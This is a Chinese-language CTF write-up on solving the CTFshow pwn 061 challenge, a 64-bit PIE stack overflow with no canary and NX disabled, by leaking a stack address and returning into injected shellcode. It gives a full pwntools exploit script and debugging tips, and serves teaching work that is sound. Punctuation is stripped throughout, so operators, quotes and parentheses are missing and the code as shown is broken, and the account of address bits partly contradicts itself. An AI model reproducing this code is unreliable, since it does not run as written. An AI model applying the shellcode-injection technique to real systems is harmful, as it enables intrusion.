
先说结论CTFshow 的 pwn 061 是一道非常适合用来打通“64 位 PIE 环境下 Ret2Shellcode”这条思路的题。它把栈溢出、地址泄露、shellcode 注入三个知识点串在一起而且恰好避开了新手最怕的 ret2libc 和 ROP 链构造只要想明白“开了 PIE 的地址怎么拿”“shellcode 往哪写”“怎么跳过去”这三点基本就能稳定拿 shell。这篇文章围绕这道题从漏洞定位到完整 exp 一步步拆开讲中间会穿插我在实际操作里踩过的坑适合已经学过 ret2text、ret2shellcode 基础玩法、但一遇到 PIE 就头晕的同学。题目本身不复杂但 PIE 这个保护一旦开启很多人会下意识觉得“完了地址全随机了没法打了”。其实这是误解。PIE 只是让程序加载基址随机化不等于地址完全不可预测只要程序给了我们一次输出机会把某个真实地址打出来剩下的地址都可以靠偏移算出来。pwn 061 的核心玩法和大多数 PIE 题一样就是“先泄露再精准打击”。下文我会从保护机制分析、地址推导、两次输入配合 shellcode、调试排错这几个维度展开所有步骤都会给出可复现的命令和脚本。1. 题目拆解与整体利用思路1.1 checksec 结果显示出的攻击面拿到题目文件第一步永远是checksec这一步决定了整道题的攻击方向。我在 pwn 061 上跑完的结果大致是Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled逐项翻译一下64 位小端程序栈上没开 canaryNX 关闭意味着栈段可执行PIE 开启意味着代码段基址每次运行随机。这里最重要的两个信息是“没有 canary”和“NX disabled”。没有 canary栈溢出就可以直接去覆盖返回地址不需要考虑绕过栈保护NX disabled意味着我可以把 shellcode 丢到栈上并且让它真正以机器码形式跑起来。PIE enabled 是唯一的“拦路虎”但它拦的只是你写死地址的做法拦不住泄露后算地址的打法。对比一下同类保护不同组合下的常规打法如果 NX 开启那就不能执行栈上代码得去找 ROP 或者 ret2libc如果 canary 开启覆盖返回地址前还得先想办法泄露 canary如果 PIE 没开直接p64(elf.symbols[xxx])就完事。pwn 061 的组合其实已经是很友好的题目配置不需要构造复杂的 gadget 链只需要把地址泄露和 shellcode 两点做好。1.2 为什么 64 位 PIE 下 Ret2Shellcode 不能无脑打以前做 32 位无 PIE 的 ret2shellcode思路通常很直接把 shellcode 塞进栈上缓冲区返回地址填一个固定的栈地址程序跳过去执行就完事。到了 64 位 PIE 环境下事情发生变化的原因有两个。第一个原因是地址长度变了。64 位下地址是 8 字节栈地址通常落在0x7fff...范围这个高 2 字节基本都是\x00。PIE 开启后代码段基址虽然随机化但每次进程启动时地址的低 12 位固定不变因为内存页对齐是 0x1000。这个特性很有用后面验证 leak 是否成功时我会用到。第二个原因是栈地址本身不可预知。你没法像无 PIE 那样从 IDA 里看到一个静态地址就直接填进返回地址因为开了 PIE 之后程序每次运行时的加载地址都不同栈地址也被 ASLR 随机化。想在 pwn 061 里拿到 shell必须分两步走第一次输入负责“套话”让程序把一个真实运行地址告诉我们第二次输入才负责真正布置 shellcode 和劫持返回地址。1.3 攻击链设计两次输入解决地址不确定问题pwn 061 常见程序逻辑大致是main 函数里先输出一句提示然后调用一个存在栈溢出的函数函数里用 read 或 gets 读入输入到栈上的 buf之后程序可能直接用 puts(buf) 把我们输入的内容打印出来也可能先打印固定字符串再等待第二次输入。我拿到的版本是典型的两次输入型第一次输入后程序会把缓冲区内容原样输出这个输出点就是我们泄露地址的出口第二次输入才真正触发溢出。完整攻击链可以拆成四步第一次输入一坨非空数据让 puts(buf) 输出时不会因为空字符串提前结束而是连带着把 buf 后面栈上残留的地址一起打出来用 pwntools 接收这段输出从字节流里抠出那个真实地址根据反汇编确定的偏移由泄露地址推算出 shellcode 应该布置到的栈地址或代码段基址第二次输入构造shellcode padding p64(跳转目标地址)覆盖返回地址后程序跳进 shellcode。这四步看起来简单但每一步都有细节坑比如泄露地址被\x00截断怎么处理、填充长度怎么精确测量、shellcode 里的坏字符会不会在 recv 时被吞掉。下面几节我逐一展开。2. PIE 地址泄露与 shellcode 定位的关键细节2.1 先把 PIE 的地址关系彻底捋清楚PIE 开启后程序每次启动的基址都不同但程序内部符号之间的相对偏移是固定的。假如程序运行时基址是base那么任意一个符号或指令的真实地址等于base 它在文件中的偏移。比如 main 函数在 IDA 里显示的地址是0x1333那么运行时 main 的真实地址就是base 0x1333。同理如果我能拿到一个已知符号的真实地址反推base 真实地址 - 静态偏移代码段里任何一个地址都能算出来。但 pwn 061 里我们的跳转目标往往是栈上的 buf而栈地址和代码段基址之间没有固定换算关系它们是两个独立随机化的区域所以光靠代码段基址推不出栈地址。这时候必须拿到一个栈上的真实地址或者找到一个“离 buf 很近、固定偏移”的泄露点。这里我要说一个很多新手容易绕进去的误区程序开启 PIE 后泄露一个返回地址通常只能推出代码段基址不等于你就能知道应该跳去哪。如果题目设计是让你跳到栈上 shellcode那么程序必须存在另一种泄露路径把栈指针或者 buf 附近某个栈变量的值打出来。pwn 061 的做法是利用第一次 puts(buf) 输出时栈上紧挨着 buf 的高地址位置残留了调用者函数的返回地址或保存的 rbp输出会把这些残留字节一并打出来。2.2 从 puts 输出里精确抠出泄露地址用 puts 泄露有一个经典问题puts 是 C 库的字符串输出函数遇到\x00就停止。如果 buf 后面紧挨的地址是类似0x00007ffff7a03c87这样的大地址在小端存储下它在内存里的字节顺序是87 3c a0 f7 ff 7f 00 00也就是说从 buf 起始地址往后数先是我们输入的字符紧跟着的是目标地址的低 6 个字节之后才是两个\x00。puts 会一直打印到第一个\x00为止正好把我们需要的低 6 字节打出来。我推荐的接收方式是这样的p.recvuntil(bwelcome\n) payload1 ba * 8 p.send(payload1) leak_bytes p.recvuntil(b\n, dropTrue) # 保留最后6个字节前面是我们自己输入的a addr_bytes leak_bytes[-6:].ljust(8, b\x00) leak_addr u64(addr_bytes) log.success(fleak addr: {hex(leak_addr)})这里有个很容易踩的坑直接用leak_bytes[6:]或者从leak_bytes中间取值往往会因为换行符、puts 输出的附加内容导致偏移错位。最稳妥的办法就是让第一次输入固定长度比如 8 个a这样输出里前 8 个字节一定是我们可控的后面的字节才是栈上残留的地址字节。打印出来后先肉眼检查一下低 12 位是否符合预期如果题目对应函数的静态偏移低 12 位是0x387而 leak 出来的地址低 12 位对的不是这个数说明 offset 算错了后面全白搭。2.3 用 cyclic 和 gdb 精确测量覆盖返回地址所需的偏移栈溢出的一个基础步骤就是确定从 buf 开始到返回地址要填多少字节。我在做题时不会去手动数汇编里的sub rsp, 0x50之类的栈帧大小因为变量布局可能和直觉不一样尤其开了编译器优化时直接用工具测更靠谱。pwntools 的 cyclic 和自带的 gdb 调试比较适合干这个。具体操作是先往程序发 200 个 cyclic 模式的假数据让程序崩溃然后看 RIP 被写成的值再用 cyclic_find 算出偏移。比如cyclic 200 pattern gdb ./pwn061 run pattern崩溃时如果 RIP 显示0x6161616c61616161那就用cyclic_find(0x6161616c61616161)找出具体偏移。64 位下如果返回地址被精确覆盖RIP 会直接变成这段 cyclic 的某个子串对应的字节。记住实际覆盖返回地址时payload 结构是padding p64(target)padding 长度就是 cyclic_find 求出的值。这个长度需要多花半分钟验证因为很多远程题目不提供二进制文件时你还要通过交互测试推 offset常见套路是输入不同长度看是否崩溃或者用 pwntools 的fit自动生成带特征字节的 payload。2.4 shellcode 放在栈上哪个位置最省事64 位下execve(/bin/sh)的 shellcode 并不长用 pwntools 自带的asm(shellcraft.sh())生成大约 27 到 30 字节左右在 64 位下完全够塞进栈缓冲区。放置位置我建议放在 payload 的第一段也就是紧贴着 pad 的开头。原因有两个shellcode 放在开头后面 padding 的长度就是你已知的 offset计算跳转目标时只需要知道 buf 的起始地址即可不用去精确算“shellcode 在栈上第几个字节”。放在中间或尾部虽然也可以但一旦 read 或 gets 对某些字节有特殊处理比如\x00截断排查起来更麻烦。放在开头你可以先单独把 shellcode 提取出来本地执行验证一遍再拼进 payload。跳转目标地址的计算方式得看泄露类型。如果泄露的是栈上某个地址并且你在 gdb 里观察到这个地址和 buf 的距离是固定的那么buf_addr leak_addr - offset_between_leak_and_buf。如果泄露的是代码段基址那就说明题目另有安排可能是让你跳到base 某个现有的 read/puts 函数但这种情况下通常就不是 ret2shellcode 了。pwn 061 既然点名 ret2shellcode题目程序里多半直接有栈变量地址泄露出点我在做的时候就是靠第一次输出里多出来的那 6 字节反推 buf 的位置。3. 完整实战过程从无头绪到稳定拿 shell3.1 环境准备与静态反汇编这道题建议在 Ubuntu 20.04 或 22.04 上做只要装有 python3、pwntools、gdb 加 pwndbg 插件就够了。题目只给一个二进制没有 libc 的情况下也不用愁因为走的是 shellcode 路线不和 libc 版本强绑定这比 ret2libc 省心很多。拿到二进制后先file pwn061看一下文件类型确认是 64 位 ELF然后checksec ./pwn061。接着用 IDA 64 或 Ghidra 反汇编重点关注主逻辑里 read、gets、puts、printf 这些函数调用。如果程序里存在两个 read通常第一个 read 对应泄露阶段第二个 read 对应注入 payload 阶段。我在做的时候会先在 IDA 里把两个 read 的 buf 地址都记下来然后去 gdb 里打断点确认它们在运行时的相对位置。这样做的好处是等泄露完地址后换算 buf 真实地址时不会算错方向内存高地址和低地址搞反会直接导致跳转过去执行无效指令程序直接 crash。3.2 泄露阶段的 payload 构造假设程序第一次 read 读入 0x20 字节然后直接puts(buf)。我现在要构造一个 payload 让 puts 把栈上的残留地址打出来。注意第一次读入长度如果只有 0x20而 buf 到返回地址之间有 0x30 的距离那么第一次 payload 即便填满也不会触发溢出这正好方便泄露不会破坏栈结构。payload 简单地填 8 个a就行。这里有个细节泄露阶段发送的字节最好选不会在 puts 输出时被误读的字符用ba * 8是常用做法。如果你输入的是\nputs 输出会多出一个空行接收时偏移要对上很麻烦。我习惯用 8 个a因为输出固定、好定位。发送完第一次 payload 后用recvuntil接收。puts 会在字符串末尾自动加一个\n所以用recvuntil(b\n, dropTrue)可以拿到完整输出。接下来最关键的一步是截取和还原地址。以我实际遇到的情况为例栈上残留的地址是0x7fffffffe2e0它在内存中的小端字节序是e0 e2 ff ff ff 7f 00 00puts 输出时打印到第一个\x00就结束了所以我能收到的字节是61 61 61 61 61 61 61 61 e0 e2 ff ff ff 7f一共 14 个字节加结尾换行。从第 8 个字节往后数 6 个字节ljust(8, b\x00)补成 8 字节再u64就得到了完整地址。p.recvuntil(binput:) p.send(ba * 8) out p.recvuntil(b\n, dropTrue) log.info(fout hex: {out.hex()}) leak u64(out[-6:].ljust(8, b\x00)) log.success(fleak stack addr: {hex(leak)})3.3 推导 buf 地址与跳转目标拿到栈上的泄露地址后不能直接拿它当跳转目标必须搞清楚它与 buf 的相对位置。我一般通过 gdb 静态观察在程序执行第一次 read 的位置打断点输入固定内容后查看 RDI 指向的 buf 地址再查看栈上泄露地址那个位置的值。两个地址的差值就是固定偏移量。举例来说我在调试中发现 buf 地址是0x7fffffffe2b0而泄露出来的栈地址是0x7fffffffe2e0两者相差 0x30且泄露地址在更高地址方向那么buf_addr leak_addr - 0x30。如果是相反方向就改成加偏移。关键点是必须在同一个运行环境下测量因为 ASLR 随机化的是整体基址但相对偏移是稳定的所以本地 gdb 里测出的差值可以用于远程。不过远程服务如果栈帧布局有细微差别比如环境变量数量不同导致栈偏移不同可能会造成偏移变化这种情况比较少见但一旦出现就要以远程实际泄漏内容反推。判断方向有个实用技巧如果你的 payload 覆盖到返回地址后程序崩溃RIP 变成你写入的地址说明你已经成功控制 RIP 但地址填错了如果什么都没发生说明覆盖位置不对。靠崩溃反馈来迭代地址计算比纯看 gdb 更快。3.4 第二次 paylaodshellcode padding 跳转地址第二次输入的目标很明确让程序执行execve(/bin/sh)。shellcode 直接由 pwntools 生成避免手写汇编时犯低级错误同时要注意如果你用context.arch amd64生成的 shellcode 就是 64 位的如果忘了设置pwntools 默认可能是 32 位跳过去会直接非法指令。构造 payload 的顺序是shellcode padding p64(buf_addr)。假设 offset 是 40shellcode 长度是 27那 padding 就是 13 字节。这里不要用 shellcode 加 padding 加起来超过 buf 到返回地址的距离一旦 send 的字节数超过 read 的读取上限程序会丢弃多余部分返回地址覆盖不完整导致攻击失败。context.arch amd64 shellcode asm(shellcraft.sh()) payload shellcode.ljust(offset, b\x00) p64(buf_addr) p.send(payload) p.interactive()注意我用ljust(offset, b\x00)意思是先放 shellcode后面补\x00到达 offset 长度最后拼上返回地址。这样整体长度恰好在返回地址处不会影响后续栈布局。如果你喜欢把 shellcode 提前用p32/p64中带\x00的字符判断一遍也可以但 read 函数不会因为\x00截断只有 gets 才会。这道题如果用的是 read就不用担心这一点。3.5 完整 exp 脚本模板下面是带注释的完整 exp我直接拿它打通了本地远程只需要把process(./pwn061)换成remote(ip, port)同时把路径改成对应题目提供的 host 和端口。#!/usr/bin/env python3 from pwn import * context.arch amd64 context.log_level debug elf ELF(./pwn061) # 本地调试 p process(./pwn061) # 远程示例 # p remote(node.ctfshow.com, 29999) # 第一步接收欢迎信息发送第一次输入以泄露栈地址 p.recvuntil(binput:) p.send(ba * 8) out p.recvuntil(b\n, dropTrue) log.info(fleak bytes: {out.hex()}) leak_stack u64(out[-6:].ljust(8, b\x00)) log.success(fleak stack addr: {hex(leak_stack)}) # 根据 gdb 观察leak_stack 与 buf 的偏移 offset_stack_buf 0x30 buf_addr leak_stack - offset_stack_buf log.success(fbuf addr: {hex(buf_addr)}) # 第二步构造溢出 payload offset_ret 40 # 用 cyclic 实测 shellcode asm(shellcraft.sh()) payload shellcode.ljust(offset_ret, b\x00) p64(buf_addr) p.recvuntil(binput:) p.send(payload) p.interactive()这个脚本只针对我本地采用的程序布局你的 offset 和 offset_stack_buf 需要用 gdb 根据自己拿到的二进制重新确认。很多同学问为什么远程如果用同一个二进制offset 应该一样但实际上不同 libc、不同环境变量确实可能微小影响栈起始位置不过栈帧内部的相对偏移不会变所以关键是 gdb 里测量的 offset 要准。3.6 得到 shell 之后的交互稳定性顺利的话p.interactive()之后你会看到一个$符号说明 shellcode 执行成功拿到了目标机器的 shell。此时可以直接执行cat flag如果题目在根目录或当前目录放有 flag 文件。注意如果 shellcode 执行后程序没有任何输出或者直接退出不一定是失败了有可能是/bin/sh读不到标准输入这时需要检查是不是 pwntools 的 interactive 和远端交互方式不匹配换用p.sendline(bcat flag)测试一下。远程交互中还有一个小概率问题有些 CTF 平台的 tcp 端口会限制每次发送字节数或会在输入前多打几个字符。如果recvuntil一直超时把你的接收关键字改成程序实际输出的最后几个字符比如b 或bplease input:不要生搬我的脚本。4. 调试技巧与常见问题排查4.1 本地开 gdb 时如何避免 ASLR 干扰做 PIE 题时本地调试如果开 ASLRgdb 里每次断点地址都会变这会给观察偏移带来很大困扰。我建议在本地做两步操作第一步临时关闭 ASLR 观察程序静态布局sudo sysctl -w kernel.randomize_va_space0这样每次运行地址固定方便用 gdb 直接对比 buf 地址和泄露地址的差值。但注意调试完要恢复sudo sysctl -w kernel.randomize_va_space2第二步在 pwntools 里用gdb.attach(p, b *0x...)附加调试。gdb.attach 的好处是断点可以写在代码地址的偏移上比如b *$rebase(0x1333)同时不影响进程的 ASLR 状态。实际调试过程中我会在puts(buf)之前下断点用x/20gx $rsp查看栈内存把 buf 地址、返回地址、栈上残留值全部对比记录这个记录直接用偏移形式写进注释后面写 exp 就不用再反复看 gdb 了。4.2 泄露出的是代码段地址还是栈地址的判断方法很多人在把out[-6:]转成地址后会习惯性log.success一下但不会判断地址类型导致后面算 buf 地址时方向完全跑偏。我提供一个快速判断方法64 位 Linux 下栈地址通常落在0x7fff........范围也就是 8 字节地址开头两个字节是0x7f 0xffPIE 开启的代码段地址通常落在0x55........或0x56........范围取决于是不是静态链接。如果你看到 leak 出来是0x55...说明你泄露的是代码段里某个地址那它往往对应某个符号或返回地址这时你要反推的是elf_base而不是直接拿它当栈地址。pwn 061 里 leak 到栈地址后低 12 位大概率是随机变化的这一点不要被“低 12 位固定”的说法误导。那个固定只适用于同一段内存映射内部栈映射和代码段映射低 12 位是不同的。验证方式是重新开几次进程观察 leak 出来的地址低 12 位是否一致如果每次一致说明你看到的可能是没有开 ASLR 的调试环境需要检查 sysctl 和 pwntools 的process参数。4.3 常见问题速查表现象可能原因解决方案recvuntil(binput:)超时欢迎信息和我本地不一样用p.recv(timeout2)先看实际输出再改关键字泄露地址低 12 位和预期对不上取字节偏移错误打印out.hex()对照内存小端格式逐字节看跳转过去后 SIGSEGVbuf_addr 算错或 shellcode 长度覆盖了返回地址在 gdb 里下断点查看跳转目标的字节是否真的是 shellcode 机器码本地成功远程失败远程 stack 环境不同偏移变了尝试用远程 leak 实际值反推偏移或者检查是否平台有交互限制shellcode 执行了但没进 shell/bin/sh没有正确继承 stdin换用p.sendline(bid)测试确认 shell 是否真的交互context.arch忘设置生成的 shellcode 不是 64 位脚本开头显式设置context.arch amd644.4 手写 shellcode 会不会比 pwntools 生成更稳定关于 shellcode 的生成很多人纠结要不要手写。手写的好处是长度可控、坏字符可控坏处是 64 位汇编里execve(/bin/sh)的寄存器赋值比较绕新手容易写错。我的建议是先用shellcraft.sh()生成然后disasm看一遍它生成的汇编确实理解了再考虑手写。pwntools 生成的 shellcode 默认不含\x0a换行符但因为这道题用的是 read所以换行符并不会造成输入截断。如果题目换成了 gets你就需要手工挑一个不含\x0a和\x00的 shellcode 变体这属于另一种出题变式pwn 061 里暂时不需要。有一点值得注意pwntools 的shellcraft.sh()生成的 shellcode 在部分环境下会被沙箱拦截CTF 中如果遇到 seccomp 限制会失效。但常规 pwn 题一般不启用 seccomp这道题也没有额外限制直接使用即可。4.5 从一道题拓展到一类题的心法做完 pwn 061建议你拿别的 PIE 栈溢出题练手比如 CTFshow 后面几道栈溢出或者 buuctf 的类似题目核心思路都一样先判断泄露出口类型再判断跳转目标。如果泄露的是栈地址大概率是 ret2shellcode如果泄露的是 libc 地址大概率是 ret2libc如果泄露的是 canary你需要先带出 canary 再溢出。想明白“程序愿意告诉我们哪个地址”这道题就做完一半了。pwn 061 的妙处在于它把“泄露地址”和“执行 shellcode”结合得很自然没有人为增加难度所以很适合当作 PIE 入门的样板题反复做几遍直到不需要看题解都能写出 exp。最后再分享一个小技巧写这种两段交互的 exp 时我习惯把第一次输入的长度固定为 8 字节而不是 1 字节或 0 字节。原因是 puts 会输出我们填的 8 个字符这 8 个字符成了理想的“缓冲区起点标记”接下来所有地址字节的索引都从第 8 字节开始算不容易数错。做题时别急着上 payload先把输出字节原样打出来肉眼看清楚再写脚本往往比一遍遍盲试高效得多。